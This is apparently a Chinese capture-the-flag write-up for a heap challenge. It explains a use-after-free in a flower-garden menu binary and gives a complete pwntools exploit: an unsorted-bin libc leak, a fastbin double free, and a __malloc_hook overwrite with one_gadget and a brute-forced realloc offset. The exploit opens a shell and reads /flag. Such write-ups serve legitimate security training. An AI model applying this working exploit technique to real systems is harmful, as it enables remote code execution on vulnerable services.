这个题本身没有难度,小难点在one_gadget+realloc偏移
堆题全保护就不用说了,漏洞在free时没有删指针
int m3free()
{
int result; // eax
_DWORD *v1; // rax
unsigned int v2; // [rsp+4h] [rbp-14h] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-10h]
v3 = __readfsqword(0x28u);
if ( !unk_202024 )
return puts("No flower in the garden");
__printf_chk(1LL, "Which flower do you want to remove from the garden:");
__isoc99_scanf("%d", &v2);
if ( v2 <= 0x63 && (v1 = (_DWORD *)qword_202040[v2]) != 0LL )
{
*v1 = 0; //这里只清除了标记,不能show,但可以再次free
free(*(void **)(qword_202040[v2] + 8LL));
result = puts("Successful");
}
else
{
puts("Invalid choice");
result = 0;
}
return result;
}
步骤:
- 先建4个块0x28,0x80,0x68,0x68。因为有管理块,为了不影响unsort先free一个0x30到fastbins
- 释放0,1 。再建0x80这里新建的0x80与释放的0x80是一块,再释放1就会留下fp, show就能得到libc
- 两个0x68 释放2,3,2形成double free环
- 再建4次0x68分别写malloc_hook-0x23,a,a,one_gadget
这个题在buuoj上是libc-2.23 one_gadget有4个,如果用realloc调栈有0,2,4,6,8,10,13,16,20有很多,所在在程序里可以爆破,省得一个个试太麻烦。当然也可以跟进去看栈的情况再确定怎么调,不过一般用到one肯定会成功,暴力更直接。
from pwn import *
'''
patchelf --set-interpreter /home/shi/pwn/libc6_2.23/ld-2.23.so pwn
patchelf --add-needed /home/shi/pwn/libc6_2.23/libc-2.23.so pwn
'''
local = 0
def connect():
global p,libc_elf,one,libc_start_main_ret
if local == 1:
p = process('./pwn')
libc_elf = ELF("/home/shi/pwn/libc6_2.23/libc-2.23.so")
one = [0x45226, 0x4527a, 0xf0364, 0xf1207 ]
libc_start_main_ret = 0x20840
else:
p = remote('node4.buuoj.cn', 27319)
libc_elf = ELF('../libc6_2.23-0ubuntu10_amd64.so')
one = [0x45216, 0x4526a, 0xf02a4, 0xf1147 ]
libc_start_main_ret = 0x20830
elf = ELF('./pwn')
context.arch = 'amd64'
menu = b"Your choice : "
def add(size, msg):
p.sendlineafter(menu, b'1')
p.sendlineafter(b"Length of the name :", str(size).encode())
p.sendlineafter(b"The name of flower :", msg)
p.sendlineafter(b"The color of the flower :", b'A')
def show():
p.sendlineafter(menu, b'2')
def free(idx):
p.sendlineafter(menu, b'3')
p.sendlineafter(b"Which flower do you want to remove from the garden:", str(idx).encode())
def clean():
p.sendlineafter(menu, b'4')
def pwn(one_idx, one_offset):
add(0x28, b'0')
add(0x80, b'1')
add(0x68, b'2')
add(0x68, b'3')
free(0)
free(1)
add(0x80, b'4')
free(1)
show()
p.recvuntil(b'flower[4] :')
malloc_hook = u64(p.recvline()[:-1].ljust(8, b'\x00')) -0x58 -0x10
libc_base = malloc_hook - libc_elf.sym['__malloc_hook']
one_gadget = libc_base + one[one_idx]
realloc = libc_base + libc_elf.sym['realloc']
print('libc:', hex(libc_base))
#context.log_level = 'debug'
free(2)
free(3)
free(2)
add(0x68, p64(malloc_hook -0x23))
add(0x68, b'b')
add(0x68, b'b')
add(0x68, b'\x00'*(3+8) + p64(one_gadget) + p64(realloc + one_offset))
#gdb.attach(p)
#pause()
p.sendlineafter(menu, b'1')
p.sendline('echo -n AAAA')
if b'AAAA' not in p.recv():
raise Exception('XXXX')
p.sendline(b'cat /flag')
p.interactive()
for i in range(4):
for j in [0,2,4,6,8,10,13,16,20]:
try:
print(f'Try one[{i},realloc+{j}')
connect()
pwn(i,j)
except:
print('...')
p.close()
试到2 ,+20才成功,够黑的,如果手工基本上放弃了。